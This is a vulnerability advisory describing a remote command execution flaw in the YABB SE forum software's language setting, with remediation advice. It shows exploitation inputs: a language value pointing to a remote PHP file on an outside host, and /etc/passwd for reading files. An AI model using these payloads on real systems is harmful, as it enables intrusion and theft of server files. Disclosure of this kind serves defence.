| YABB SE, remote command execution
Author : Fermín J. Serna <firstname.lastname@example.org>
Next Generation Security Technologies
Title: YABB SE, remote command execution.
Application: YABB SE up to 1.5.1
Status: Vendor contacted, new fixed version available.
Platform(s): Unix & Windows OSs.
Author: Fermín J. Serna <email@example.com>
YABB SE is a popular bulletin board. It consist on the port of YABB to
MySQL/PHP. Searching at Google "YABB SE" we found about 89,400
confirming its popularity.
YABB SE suffers a PHP injection vulnerability (remote command execution)
in its language support. Any registered user can execute commands with
Server privileges (normally nobody).
Any registered user can inject PHP code in YABB SE through its language
support. YABB SE does an include($language) where $language is the
selected language setting retrieved form the MySQL DataBase.
In order to exploit this vulnerability, you must have a registered user,
change your language setting through the "Change Profile" tab,
Pen-Test Web Proxy such as HttPush, to an evil value.
This action will update your language setting in the DataBase. Next
queries will include your evil language setting.
In order to inject PHP code, a malicious user could set the language
variable to for example "http://zhodiac.net-dreamer.net/cmd.inc"
where cmd.inc is the PHP code to inject.
It is also possible to use this vulnerability to access any file on the
server with Web Server privileges, only when safe_mode is disabled,
setting the language variable for example to /etc/passwd.
Upgrade to a newer YABB SE version (at least 1.5.2).
Run YABB SE on a secure environment.
This vulnerability could not have been exploited on a NGSecureWeb(r)
protected Web Server.
Find more information on NGSecureWeb features at:
More security advisories at: http://www.ngsec.com/ngresearch/ngadvisories/
PGP Key: http://www.ngsec.com/pgp/labs.asc